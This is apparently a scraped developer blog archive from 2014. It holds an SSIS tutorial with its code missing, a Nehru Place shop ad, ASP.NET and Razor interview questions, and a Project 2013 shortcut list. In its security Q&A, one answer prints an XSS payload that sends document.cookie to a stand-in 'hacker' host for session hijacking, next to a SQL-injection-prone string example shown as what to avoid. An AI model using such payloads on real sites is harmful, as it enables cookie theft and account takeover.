Tuesday, 23 September 2014

Cost to Cost Price List PDF Nehru Place New Delhi + WD

SAVE RS 300 TO 1000 CHEAPEST SHOP IN DELHI/NCR

Are you going to buy external hard disc(wd)/laptop or other computer accessories then must compare price with Nehru Place best Shop named as "Cost to Cost".

Yes! you will get 300-1000 Rs difference in rate as compare to other market or online shop.
If you live in Delhi/NCR then this would be best saving for you.
"Cost to Cost" provide its rate list online as a pdf file, you can check it from the following link
http://www.costtocost.in/list/pricelist.pdf



Monday, 22 September 2014

How to Get/Access Stored Procedure OUTPUT Parameters in SSIS

I often use/access stored procedure output parameter using c# etc. But this time I have an requirement in which I need to access newly inserted record id(stored procedure output parameter) using SSIS and capture this output parameter in an SSIS variable. Before that I have never access output parameter using SSIS. I want to access newly inserted record id and store it in SSIS variable. 

First Create a table:

Example script: In this example I am creating country table.


CREATE TABLE [dbo].[Country](
       [CountryID] [int] NOT NULL,
       [CountryName] [varchar](80) NOT NULL


) ON [PRIMARY]

Now Create a procedure with an Output parameter, which will return the newly inserted record id, In this example it will return the countryID
















Now Create an SSIS Package, and create a variable 












Now take "Execute SQL Task" (set connection property)
and In SQL Statement section use the following statement 































After that set the Parameter section, which is use to hold the output Parameter value in SSIS Variable.



































How to use this variable in Insert statement or display it in a Messagebox?

Till now we have done every thing to access varialbe, But how to show or confirm that we have done out task,
For that you can display this SSIS variable in a MessageBox.

To display this variable value in messagebox you need to take a "Script task" and edit it as shown.











Now execute your package. You will see the result in Messagebox.









Check your table also:


Display Default Image when No Image Found MVC Razor View Engine

This is very useful questions, very often we required it.
I pick this from stack-overflow forum

"I have a asp.net mvc project. in a specific views i call the four image from different different folder inside my project.
sometime image can not be found. i want to set a image for every folder because all 4 folder contain different different size of image so i need to set the image of specific size for each folder.
how i can show the default image when the image not found any way to do that.i means call the none.png when the directory not have image who i called in the views.
are their any way to show the image in the case of image not found.
any way to do that in asp.net 4 MVC 3. using web.config or setting anything else."

Best Answers:
Easiest way to do this is with a html helper. Please be mindful of the extra performace hit of checking the file system before even showing an image filename. The hit is a small one though, so you won't notice any issues unless you are getting very high traffic. Then you can implement some sort of caching so the app "knows" if the file exists or not.
You can use a custom html helper for it
        public static class ImageHtmlHelpers
        {
            public static string ImageUrlFor(this HtmlHelper helper, string imageFilename, ImageSizeFolderEnum imageSizeFolder)
            {
                UrlHelper urlHelper = new UrlHelper(helper.ViewContext.RequestContext);
                string contentUrl = String.Format("~/content/userimages/{0}/{1}", imageSizeFolder, imageFilename);
                if (!File.Exists(helper.ViewContext.HttpContext.Server.MapPath(contentUrl)))
                {
                    return urlHelper.Content(String.Format("~/content/userimages/{0}/none.png", imageSizeFolder));
                }
                else
                {
                    return urlHelper.Content(contentUrl);
                }
            }

        }

Then in your view you can just make the url using:

<img src="<% Html.ImageUrlFor("myimage.jpg", ImageSizeFolderEnum.Small); %>" />

Have suggested an Enum for better programmatic control if the folder is a fixed set, but for a quick and nasty approach, not reason why you can't just use a string if the folder is db generated etc.

Sunday, 21 September 2014

TOP 10 RAZOR VIEW ENGINE INTERVIEW QUESTIONS AND ANSWERS

TOP 10 RAZOR VIEW ENGINE INTERVIEW QUESTIONS AND ANSWERS
BEST RAZOR VIEW ENGINE INTERVIEW QUESTIONS BOTH FOR BEGINNER AND EXPERIENCED

1. What is a View Engine?
Ans:- View Engines are responsible for rendering the HTML from your views to the browser. The view engine template will have different syntax for implementation.

2. What is Razor view engine?
Ans:- The Razor view engine is an advanced view engine from Microsoft, It is launched with MVC 3 (in VS 4.0). Razor using an @ character instead classic ASP.NET(.aspx) <% %>
and Razor does not require you to explicitly close the code-block, this view engine is parsed intelligently by the run-time to determine what is a presentation element and what is a code element.

3. What are the two popular asp.net mvc view engines?
Ans:- 1. Razor
2. .aspx

4. What are the file extension for Razore view engine files?
Ans:- Razor syntax have the special file extension cshtml (Razor with C#) and vbhtml (Razor with VB).

5. Can you give a simple example of textbox?
Ans:- @Html.TextBox("Name")

6. What HTML code will be produce by "@Html.TextBox("Name")"?
Ans:- It will produce:-
<input id="Name" name="Name" type="textbox" />

7. What is the difference between @Html.TextBox and @Html.TextBoxFor?
Ans:- Finaly both produce the same HTML but Html.TextBoxFor() is strongly typed with any model, where as Html.TextBox isn't.
For more click here http://www.interviewquestionspdf.com/2014/09/difference-between-htmltextbox-and.html

8. TextBoxFor input extension is first time introduce in which MVC version?
Ans:- In MVC2

9. What is the syntax for server side comment in razor view?
Ans:-
@* here is the code to comment *@


10. How to add Namespaces in Razor view engine?
Ans:- @using YourCustomNamespace

What is the difference between RAZOR VIEW and ASPX VIEW ENGINE?
Ans:- http://www.interviewquestionspdf.com/2014/09/razor-view-vs-aspx-view-engine.html

RAZOR VIEW VS ASPX VIEW ENGINE | DIFFERENCE | PERFORMANCE

DIFFERENCE BETWEEN ASP.NET VIEW ENGINE AND RAZOR VIEW ENGINE

Razor View Engine ::
1.Razor Engine is a newly launched advance view engine that was introduced with MVC3.
2.Razor view engine File extension for C# is .cshtml
3.Razor view engine File extension for VB is .vbhtml
4.Razor view engine syntax is easy to learn than Web Form Engine syntax.
5.In Razor view syntax we use @ Symbol before any tag
6.For comment we can use @*.....*@
7.We need not to enclosed the code block/tag between @. Ex-
8.Razor version has only three transition characters (@)
9.Namspace for Razor is System.Web.Razor
10.Razor is littel bit slower than aspx view engine

Aspx View Engine::
1.Aspx view Engine is the default view engine for the Asp.net MVC that is included with Asp.net from the beginning.
2.In Web form(aspx view) engine it .aspx
3.It is .aspx in web form engine, (Same in both VB and C#)
4.Not easy as Razor view engine syntax
5.In aspx view Engine we use <% and %> 
6.For comment we can use /*...*/ (C#)
7.We need to enclosed the code block/tag between <% and %>
8.Aspx version has 21 transition characters (the <% and %>)
9.Namspace for Web form is System.Web.Mvc.WebFormViewEngine
10.Aspx view engine is littel bit faster than Razor view engine

DIFFERENCE BETWEEN @Html.TextBox and @Html.TextBoxFor MVC 4 INTERVIEW QUESTOINS

In Razor view engine we use @Html.TextBox and @Html.TextBoxFor for textbox so what is the difference between @Html.TextBox and @Html.TextBoxFor?

Finally both produce the same HTML[/align] but Html.TextBoxFor() is strongly typed with any model, where as Html.TextBox isn't.

For Example:-
@Html.TextBox("Name")
@Html.TextBoxFor(m => m.Name)
both will produce
<input id="Name" name="Name" type="textbox" />

Generally two things:
a) The typed TextBoxFor will generate your input names for you. This is usually just the property name but for properties of complex types can include an '_' such as 'customer_name'
b) Using the typed TextBoxFor version will allow you to use compile time checking. So if you change you model then you can check whether there are any errors in your views.

Thursday, 18 September 2014

ASP.NET INTERVIEW QUESTIONS AND ANSWERS FOR 5 YEARS EXPERIENCED PDF



ASP.NET Web.config File related Interview Questions Experienced

ASP.NET Web.config File related Interview Questions for Experienced
Hey this is one more +add article in Asp.net Interview Questions-Answers Series. This article containing the FAQ about Asp.net, Here we have all type of asp.net interview questions with answers, from web.config file to c# oops interview, So don't be worry here you will cover all type of interview questions, so read carefully one by one.
So lets start..

ASP.NET WEB.CONFIG INTERVIEW QUESTIONS-ANSWERS: 1


ASP.NET VIEW STATE INTERVIEW QUESTIONS-ANSWERS: 2

ASP.NET SESSION/STATE MANAGEMENT INTERVIEW QUESTIONS-ANSWERS: 3

ASP.NET SESSION/STATE MANAGEMENT INTERVIEW QUESTIONS-ANSWERS: 4

ASP.NET SECURITY INTERVIEW QUESTIONS-ANSWERS: 5

ASP.NET CACHING RELATED INTERVIEW QUESTIONS: 6

C# OOPS INTERVIEW QUESTIONS-ANSWERS: 7

ASP.NET MVC 4 INTERVIEW QUESTIONS-ANSWERS: 8

JQUERY INTERVIEW QUESTIONS-ANSWERS(1-30): 9

JQUERY INTERVIEW QUESTIONS-ANSWERS(31-50): 10

VISULA STUDIO 2015 NEW FEATURES: 9

ASP.NET Security Impersonation Interview Question and Answers for 5 years Experienced

Asp.net Security Interview Questions and Answers for 3-5 experienced.
Latest Asp.net Security Interview Questions with Answers.
Hi friends here I come with Asp.net Security related questions for experienced developers. This set contain 10 questions related to Asp.net security. 
So lets start

ASP.NET SECURITY INTERVIEW QUESTIONS SET-1

Q 1:- What you will do for make your code more secure?
Ans:- I will review my code from beginning and understand the security issues that are possible in the code, after that i will resolve them.

Q 2:- How much time you will set for review, is there any time limit, if you not getting security issues?
Ans:- I will set reasonable time limit on my review, and then optimize my review for this limit. If I find myself spending too much time in any one area (especially if it is not a high-priority area or objective),then I flag it for later review and move on.

Q 3:- What you will do if you have not much time for (asp.net project) security review?
Ans:- I will limit my reviews to small, manageable pieces of code. This allows me to finish quickly, stay focused, and find a larger number of security issues in the code me examining.

Q 4:- What is the difference between Authentication and Authorization?
Ans:- Authentication means validating users. In this step, we verify user credentials to check whether the person tying to log in is the right one or not. 
Authorization on the other hand is keeping track of what the current user is allowed to see and what should be hidden from him.

Q 5:- What do you understand by SQL Injection attack?
Ans:- A SQL injection attack occurs when untrusted input can modify the logic of a SQL query in unexpected ways.

Q 6:- What you will do to prevent SQL injection?
Ans:- I will use parameterized and typed stored procedures.
The typed SQL parameter checks the type and length of the input, and it ensures that the userName input value is treated as a literal value and not as executable code in the database.

Q 7:- If you are not using Stored Procedure, think you are using simple sql statment then what you will do to prevent SQL injections?
Ans:- If the code does not use stored procedures, make sure that it uses parameters in the SQL statements it constructs, as shown in the following example.
select status from Users where UserName=@userName
I will check that the code does not use the following approach, where the input is used directly to construct the executable SQL statement by using string concatenation.
string sql = "select status from Users where UserName='"
+ txtUserName.Text + "'";

Q 8:- What do you understand by XSS?
Ans:- Cross-site scripting (also known as XSS or CSS) 

Q 9:- What is Cross-site scripting (XSS)?
Ans:- Cross Site Scripting (or XSS) is one of the most common application-layer web attacks. XSS commonly targets scripts embedded in a page which are executed on the client-side (in the user’s web browser) rather than on the server-side. 

Example 1.
For example, the HTML snippet:
<title>Example document: %(title)</title>

is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:
<title>Example document: XSS Doc</title>
A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:
<SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
Sitting on the other end, at the Webserver, you will be receiving hits where after a double space is the users cookie. You might strike lucky if an administrator clicks the link, allowing you to steal their sessionID and hijack the session.

Q 10:- What is the difference between Windows and Forums Authentication?
Ans:- Windows Authentication: is provided so that web pages
can make use of the local Windows User and Groups.In it windows actual login name and
password is used for authentication.

Forms Authentication: Under Forms Authentication user can able to create their own
login name and password it is basically a cookie based
authentication system which stores the login name and
password in database file.

Tuesday, 16 September 2014

ASP.NET SESSION/STATE MANAGEMENT INTERVIEW QUESTION PDF FOR 5 YEARS EXP Set-2

ASP.NET SESSION(STATE MANAGEMENT) QUESTIONS SET - 2
Here I discuss Asp.net most important/FAQ state management interview questions which can be asked to most experienced(5 years) software engineer (asp.net developer) or it can be asked to a fresher.
But your answers should be according to your experience, A fresher can give the answers as a one-two line statement which he read on the internet/google.
But if you have more then 3 or 5 years of experience, then only your explanatory answer can impress the interviewer. I will share the pdf file in the main post of asp.net interview question answers.


Asp.net Session/state menagement related interview questions Set-2:

11).What are the session modes available in asp.net?
Ans: 
Off
InProc
StateServer(Out-Proc)
SQLServer
Custom

12).What is the default session modes in asp.net?
Ans: InProc

13).What are the disadvantages of using InProc session mode?
Ans: Its stores session information in the current Application Domain.
So it will lose data if we restart the server.

14).Session_End() event is supported by which session mode only?
Ans: Session_End() event is supported by InProc mode only.

15).What do you understand by StateServer(Out-Proc) mode?
Ans: StateServer session mode is also called Out-Proc session mode. StateServer uses a stand-alone Windows Service which is independent of IIS and can also be run on a separate server. This session state is totally managed by aspnet_state.exe. This server may run on the same system, but it's outside of the main application domain where your web application is running. This means if you restart your ASP.NET process, your session data will still be alive.

16).Under StateServer(Out-Proc) mode the session state is managed by?
Ans: aspnet_state.exe

17).What are the advantages and disadvantages of StateServer(Out-Proc) Session mode?
Ans: Advantages:
It keeps data separate from IIS so any issues with IIS will not hamper session data.
It is useful in web farm and web garden scenarios.
Disadvantages:
Process is slow due to serialization and de-serialization.
State Server always needs to be up and running.

18).Under SQLServer Session Mode where the session data store?
Ans: In SQLServersession mode, session data is serialized and stored in A SQL Server database.

19).What is the big disadvantage of SqlServer Session mode?
Ans: The main disadvantage of SqlServer Session mode storage method is the overhead related with data serialization and de-serialization.

20).What are the advantages and disadvantages of SqlServer Session mode?
Ans: Advantages:
Session data not affected if we restart IIS.
The most reliable and secure session management.
It keeps data located centrally, is easily accessible from other applications.
Very useful in web farms and web garden scenarios.
Disadvantages:
Processing is very slow in nature.
Object serialization and de-serialization creates overhead for the application.
As the session data is handled in a different server, we have to take care of SQL Server. It should be always up and running.

TOP 10 ASP.NET STATE MANAGEMENT/SESSION INTERVIEW QUESTIONS ANSWERS 5 EXPERIENCED SET-1

ASP.NET STATE MANAGEMENT/SESSION INTERVIEW QUESTIONS ANSWERS 3-5 YEARS EXPERIENCED AS WELL AS FRESHER

How to answer the question based on your experience 
as a Fresher or More than 5 Years of exp.:

Here I discuss Asp.net most important/FAQ state management interview questions which can be asked to most experienced(5 years) software engineer (asp.net developer) or it can be asked to a fresher.
But your answers should be according to your experience, A fresher can give the answers as a one-two line statement which he read on the internet/google.
But if you have more then 3 or 5 years of experience, then only your explanatory answer can impress the interviewer.
So this time I decide to post questions related to State Management/Session.
Here are the top 10 questions answers for both experienced and beginners asp.net developers.


So lest start Set-1:

1).What is state management?
Ans: State management is the process by which you maintain state and page information over multiple requests for the same or different pages. 

2).Http is stateless, What does this mean?
Ans: Stateless protocol is a communications protocol that treats each request as an independent transaction that is unrelated to any previous request so that the communication consists of independent pairs of requests and responses.

3).What is Session?
Ans: We know that Http is stateless, means when we open a webpage and fill some information and then move to next page then the data which we have entered will lost.
It happed do to Http protocol stateless nature. So here session come into existence, Session provide us the way of storing data in server memory. So you can store your page data into server
memory and retrieve it back during page postbacks.

4).What are the Advantage and disadvantage of Session?
Ans: Advantages:
Session provide us the way of maintain user state/data.
It is very easy to implement.
One big advantage of session is that we can store any kind of object in it. :eg, datatabe, dataset.. etc
By using session we don't need to worry about data collesp, because it store every client data separately.
Session is secure and transparent from the user.
Disadvantages:
Performance overhead in case of large volumes of data/user, because session data is stored in server memory.
Overhead involved in serializing and de-serializing session data, because in the case of StateServer and SQLServer session modes, we need to serialize the objects before storing them.

5).What is Session ID in Asp.net?
Ans: Asp.Net use 120 bit identifier to track each session. This is secure enough and can't be reverse engineered. When client communicate with server, only session id is transmitted, between them. When client request for data, ASP.NET looks on to session ID and retrieves corresponding data.

6).By default where the sessions ID's are stored ?
Ans: By default, the unique identifier for a session is stored in a non-expiring session cookie in the browser. You can specify that session identifiers not be stored in a cookie by setting the cookieless attribute to true in the sessionState configuration element.
We can also configure our application to store it in the url by specifying a "cookieless" session
The ASP Session cookie has this format:-
ASPSESSIONIDACSSDCCC=APHELKLDMNKNIOJONJACDHFN


7).Where does session stored if cookie is disabled on client’s machine?
Ans: If you want to disable the use of cookies in your ASP.NET application and still make use of session state, you can configure your application to store the session identifier in the URL instead of a cookie by setting the cookieless attribute of the sessionState configuration element to true, or to UseUri, in the Web.config file for your application.
The following code example shows a Web.config file that configures session state to use cookieless session identifiers.
Code:
<configuration>
  <system.web>
    <sessionState
      cookieless="true"
      regenerateExpiredSessionId="true"
      timeout="30" />
  </system.web>
</configuration>


8).Can you describe all the property set in web.config under session state?
Ans:
Code:
<configuration>
  <sessionstate
      mode="inproc"
      cookieless="false"
      timeout="20"
      sqlconnectionstring="data source=127.0.0.1;user id=<userid>;password=<password>"
      server="127.0.0.1"
      port="42424"/>
</configuration>

Mode: The mode setting supports three options: inproc, sqlserver, and stateserver. As stated earlier, ASP.NET supports two modes: in process and out of process. There are also two options for out-of-process state management: memory based (stateserver), and SQL Server based (sqlserver). We'll discuss implementing these options shortly.
Cookieless: The cookieless option for ASP.NET is configured with this simple Boolean setting.
Timeout: This option controls the length of time a session is considered valid. The session timeout is a sliding value; on each request the timeout period is set to the current time plus the timeout value
Sqlconnectionstring: The sqlconnectionstring identifies the database connection string that names the database used for mode sqlserver.
Server: In the out-of-process mode stateserver, it names the server that is running the required Windows NT service: ASPState.
Port: The port setting, which accompanies the server setting, identifies the port number that corresponds to the server setting for mode stateserver.

9).What are Session Events?
Ans: There are two types of session events available in ASP.NET:
Session_Start
Session_End
You can handle both these events in the global.asax file of your web application. When a new session initiates, the session_start event is raised, and the Session_End event raised when a session is abandoned or expires.

10).How you can disable session?
Ans: If we set session Mode="off" in web.config, session will be disabled in the application. For this, we need to configure web.config the following way:
Code:
<configuration>
  <sessionstate  Mode="off"/>
</configuration>

Monday, 15 September 2014

How to Set Time Limit for Childs on Windows 8

By monitoring your kids' accounts with Family Safety, you get a better sense of whether they're finishing their homework or spending too much time online. This info can help you set specific PC activity limits for each child, including when they're allowed to use the PC, which games and apps they can use, and which apps they can see or download in the Windows Store.
You can set and manage all these limits on the web, from anywhere. Sign in to the Family Safety website, tap or click the name of the child whose settings you want to change, and follow the instructions from there.

Video Source : Cnet.com

Project 2013 Keyboard Shortcuts PDF

Project 2013 Keyboard Shortcuts

Microsoft Office basics


Press Alt.

The KeyTips are displayed over each feature that is available in the current view.

Press the letter that appears in the KeyTip over the feature that you want to use.

Depending on which letter you press, additional KeyTips may appear. For example, if the Home tab is active and you press W, the View tab is displayed, along with the KeyTips for the groups on that tab.

Continue pressing letters until you press the letter of the command or control that you want to use. In some cases, you must first press the letter of the group that contains the command.

Note  To cancel the action that you are taking and hide the KeyTips, press Alt.


To do this
Press


Switch to the next window.
Alt+Tab


Switch to the previous window.
Alt+Shift+Tab


Close the active window.
Ctrl+W or

Ctrl+F4


Restore the size of the active window after you maximize it.
Ctrl+F5



Move to a task pane from another pane in the program window (clockwise direction). You may need to F6 press F6 more than once.

Move to a pane from another pane in the program window (counterclockwise direction).
Shift+F6


When more than one window is open, switch to the next window.
Ctrl+F6


Switch to the previous window.
Ctrl+Shift+F6


Maximize or restore a selected window.
Ctrl+F10


Copy a picture of the screen to the Clipboard.
Print Screen


Copy a picture of the selected window to the Clipboard.
Alt+Print Screen




To do this


Press













Move one character to the left.
Left Arrow




Move one character to the right.
Right Arrow






Move one line up.
Up Arrow




Move one line down.
Down Arrow






























Move one word to the left.
Ctrl+Left Arrow


Move one word to the right.
Ctrl+Right Arrow


Move to the end of a line.
End


Move to the beginning of a line.
Home


Move up one paragraph.
Ctrl+Up Arrow


Move down one paragraph.
Ctrl+Down Arrow


Move to the end of a text box.
Ctrl+End


Move to the beginning of a text box.
Ctrl+Home



To do this
Press


Move to the next cell.
Tab


Move to the preceding cell.
Shift+Tab


Move to the next row.
Down Arrow


Move to the preceding row.
Up Arrow


Insert a tab in a cell.
Ctrl+Tab


Start a new paragraph.
Enter


Add a new row at the bottom of the table.
Tab at the end of the last row


To do this
Press


Display the menu or message for an action. If more than one action is present, switch to the next action
Alt+Shift+F10
and display its menu or message.



Select the next item on the action menu.
Down Arrow


Select the previous item on the action menu.
Up Arrow


Perform the action for the selected item on the action menu.
Enter


Close the action menu or message.
Esc
Tips

You can ask to be notified by a sound whenever an action appears. To hear audio cues, you must have a sound card. You must also have Microsoft Office Sounds installed on your computer.

You can download Microsoft Office Sounds from Office.com.




To do this
Press



















First letter of an option in a drop-down list
Alt+ the letter underlined in an option Alt+Down Arrow
Esc
Enter

Insert

Tab Shift+Tab Ctrl+Tab Ctrl+Shift+Tab Arrow keys
Move to the next option or option group.
Move to the previous option or option group. Switch to the next tab in a dialog box.
Switch to the previous tab in a dialog box.

Move between options in an open drop-down list, or between options in a group of options.
Perform the action assigned to the selected button; select or clear the selected check box.

Open the list if it is closed and move to that option in the list.

Select an option; select or clear a check box. Open a selected drop-down list.
Close a selected drop-down list; cancel a command and close a dialog box. Perform the action assigned to a default button in a dialog box.


An edit box is a blank in which you type or paste an entry, such as your user name or the path to a folder.

To do this
Press


Move to the beginning of the entry.
Home


Move to the end of the entry.
End


Move one character to the left or right, respectively.
Left Arrow or Right Arrow


Move one word to the left.
Ctrl+Left Arrow


Move one word to the right.
Ctrl+Right Arrow


Select or cancel selection one character to the left.
Shift+Left Arrow


Select or cancel selection one character to the right.
Shift+Right Arrow


Select or cancel selection one word to the left.
Ctrl+Shift+Left Arrow


Select or cancel selection one word to the right.
Ctrl+Shift+Right Arrow


Select from the insertion point to the beginning of the entry.
Shift+Home


Select from the insertion point to the end of the entry.
Shift+End



To do this
Press






Open a project file (display the Open dialog box).
Ctrl+F12




Open a project file (display the Open tab in the Backstage view).
Ctrl+O















Save a project file.
Ctrl+S


Create a new project.
Ctrl+N


Print a file (display the Print tab in the Backstage view).
Ctrl+P



To do this
Press


Display the Open dialog box.
Ctrl+F12


Display the Open tab in the Backstage view.
Ctrl+O


Display the Save As dialog box.
F12


Open the selected folder or file.
Enter


Open the folder one level above the open folder.
Backspace


Delete the selected folder or file.
Delete


Display a shortcut menu for a selected item such as a folder or file.
Shift+F10


Move forward through options
Tab


Move back through options
Shift+Tab


Open the Look in list
F4 or Alt+1



Microsoft Project quick reference




To do this
Press


Move to a different Network Diagram box.
Arrow keys


Add Network Diagram boxes to the selection.
Shift+Arrow keys


Move a Network Diagram box.
Ctrl+Arrow keys
Note  You need to set manual positioning first. Select the box you want to move. Click

Format, and then click Layout. Click Allow manual box positioning.



Move to the top Network Diagram box in the view or project.
Ctrl+Home or

Shift+Ctrl+Home





Move to the lowest Network Diagram box in the project. Move to the leftmost Network Diagram box in the project. Move to the rightmost Network Diagram box in the project. Move up one window height.
Move down one window height.

Ctrl+End or Shift+Ctrl+End Home or Shift+Home End or Shift+End
Page Up or Shift+Page Up

Page Down or Shift+Page Down


Move left one window width.
Ctrl+Page Up or

Shift+Ctrl+Page Up


Move right one window width.
Ctrl+Page Down or

Shift+Ctrl+Page Down


Select the next field in the Network Diagram box.
Enter or Tab


Select the previous field in the Network Diagram box.
Shift+Enter






To do this
Press







Nudge the shape up, down, right, or left.
Arrow keys





Increase the shape’s width by 10%.
Shift+Right Arrow






Decrease the shape’s width by 10%.
Shift+Left Arrow





Increase the shape’s height by 10%.
Shift+Up Arrow






Decrease the shape’s height by 10%.
Shift+Down Arrow






Increase the shape’s width by 1%.
Ctrl+Shift+Right Arrow






Decrease the shape’s width by 1%.
Ctrl+Shift+Left Arrow






Increase the shape’s height by 1%.
Ctrl+Shift+Up Arrow






Decrease the shape’s height by 1%.
Ctrl+Shift+Down Arrow





Rotate the shape 15 degrees to the right.
Alt+Right Arrow






Rotate the shape 15 degrees to the left.
Alt+Left Arrow
.














To do this
Press







Select an object (with text selected inside the object).
Esc




Select an object (with an object selected).
Tab or Shift+Tab until the object you want is




selected






Select text within an object (with an object selected).
Enter




Select multiple shapes
Press and hold Ctrl while you click the shapes






Select multiple shapes with text
Press and hold Shift while you click the



shapes




Cut selected object.
Ctrl+X






Copy selected object.
Ctrl+C















Paste cut or copied object.
Ctrl+V








Paste special.
Ctrl+Alt+V







Copy formatting only.
Ctrl+Shift+C








Paste formatting only.
Ctrl+Shift+V








Paste special.
Ctrl+Alt+V








Group shapes, pictures, or WordArt.
Ctrl+G after you select the items that you




want to group








Ungroup shapes, pictures, or WordArt.
Ctrl+Shift+G after you select the group that




you want to ungroup








Undo the last action.
Ctrl+Z







Redo the last action.
Ctrl+Y








Add next object to a multi-selection.
Ctrl+Click







Adds next object to a multi-selection; allows clicking on textbox text to
Shift+Click



add the textbox to the multi-selection.


















To do this
Press








Collapse selection.
Esc






Select all text.
Ctrl+A








Delete one word to the left.
Ctrl+Backspace






Delete one word to the right.
Ctrl+Delete








Undo.
Ctrl+Z








Redo.
Ctrl+Y








Move one word to the left.
Ctrl+Left Arrow






Move one word to the right.
Ctrl+Right Arrow








Move to the beginning of the line.
Home






Move to the end of the line.
End








Move up one paragraph.
Ctrl+Up Arrow






Move down one paragraph.
Ctrl+Down Arrow








Move to the beginning of the object’s text.
Ctrl+Home






Move to the end of the object’s text
Ctrl+End
















To do this
Press


















Activate the entry bar to edit text in a field.
F2



Activate the menu bar.

F10 or Alt



Activate the project control menu.
Alt+Hyphen or Alt+Spacebar



Activate the split bar.

Shift+F6



Close the program window.

Alt+F4



Display all filtered tasks or all filtered resources.
F3



Display the Field Settings dialog box.
Alt+F3



Open a new window.

Shift+F11



Reduce a selection to a single field.
Shift+Backspace



Reset sort order to ID order and turn off grouping.
Shift+F3



Select a drawing object.

F6



Display task information.

Shift+F2



Display resource information.

Shift+F2



Display assignment information.
Shift+F2



Turn on or off the Add To Selection mode.
Shift+F8



Turn on or off Auto Calculate.

Ctrl+F9



Turn on or off the Extend Selection mode.
F8



Move left, right, up, or down to view different pages in the Print Preview window.
Alt+Arrow keys








To do this
Press




Hide subtasks.
Alt+Shift+Hyphen or Alt+Shift+Minus Sign (minus sign on the numeric keypad)



Indent the selected task.
Alt+Shift+Right Arrow



Show subtasks.
Alt+Shift+ = or Alt+Shift+Plus Sign (plus sign on the numeric keypad)



Show all tasks.
Alt+Shift+* (asterisk on the numeric keypad)




Outdent the selected task.
Alt+Shift+Left Arrow



To do this
Press






Move between fields at the bottom of a form.
Arrow keys




Move into tables at the bottom of a form.
Alt+1 (left) or Alt+2 (right)






Move to the next task or resource.
Enter




Move to the previous task or resource.
Shift+Enter


















To do this
Press






Cancel an entry.
Esc




Clear or reset the selected field.
Ctrl+Delete






Copy the selected data.
Ctrl+C




Cut the selected data.
Ctrl+X






Delete the selected data.
Delete




Delete row that has a selected cell.
Ctrl+Minus Sign (on the numeric keypad)






Fill down.
Ctrl+D




Display the Find dialog box.
Ctrl+F or Shift+F5






In the Find dialog box, continue to the next instance of the search results.
Shift+F4






Use the Go To command (Edit menu).
F5






Link tasks.
Ctrl+F2






Paste the copied or cut data.
Ctrl+V






Reduce the selection to one field.
Shift+Backspace




Undo the last action.
Ctrl+Z






Unlink tasks.
Ctrl+Shift+F2




Set the task to manually schedule
Ctrl+Shift+M






Set the task to auto schedule
Ctrl+Shift+A







To do this
Press






Move to the beginning of a project (timescale).
Alt+Home




Move to the end of a project (timescale).
Alt+End






Move the timescale left.
Alt+Left Arrow




Move the timescale right.
Alt+Right Arrow






Move to the first field in a row.
Home or Ctrl+Left Arrow




Move to the first row.
Ctrl+Up Arrow






Move to the first field of the first row.
Ctrl+Home




Move to the last field in a row.
End or Ctrl+Right Arrow






Move to the last field of the last row.
Ctrl+End












Move to the last row.
Ctrl+Down Arrow













To do this
Press






Move focus between the side pane and the view on the right side.
Ctrl+Tab or Ctrl+Shift+Tab





Select different controls in the side pane if focus is in the side pane.
Tab






Select or clear check boxes and option buttons if focus is in the side pane.
Spacebar








To do this
Press






Extend the selection down one page.
Shift+Page Down





Extend the selection up one page.
Shift+Page Up






Extend the selection down one row.
Shift+Down Arrow





Extend the selection up one row.
Shift+Up Arrow






Extend the selection to the first field in a row.
Shift+Home





Extend the selection to the last field in a row.
Shift+End






Extend the selection to the start of the information.
Ctrl+Shift+Home





Extend the selection to the end of the information.
Ctrl+Shift+End






Extend the selection to the first row.
Ctrl+Shift+Up Arrow





Extend the selection to the last row.
Ctrl+Shift+Down Arrow






Extend the selection to the first field of the first row.
Ctrl+Shift+Home






Extend the selection to the last field of the last row.
Ctrl+Shift+End






Select all rows and columns.
Ctrl+Shift+Spacebar





Select a column.
Ctrl+Spacebar






Select a row.
Shift+Spacebar





Move within a selection down one field.
Enter






Move within a selection up one field.
Shift+Enter





Move within a selection right one field.
Tab






Move within a selection left one field.
Shift+Tab








To do this
Press






Accept an entry.
Enter










Cancel an entry.
Esc


Delete one character to the left.
Backspace


Delete one character to the right.
Delete


Delete one word to the right.
Ctrl+Delete


Extend the selection to the end of the text.
Shift+End


Extend the selection to the start of the text.
Shift+Home


Turn on or off Overtype mode.
Insert




To do this
Press






Move the timescale left one page.
Alt+Page Up




Move the timescale right one page.
Alt+Page Down






Move the timescale to beginning of the project.
Alt+Home






Move the timescale to end of the project.
Alt+End






Scroll the timescale left.
Alt+Left Arrow






Scroll the timescale right.
Alt+Right Arrow






Show smaller time units.
Ctrl+ / (slash on the numeric keypad)




Show larger time units.
Ctrl+* (asterisk on the numeric keypad)














Find job here...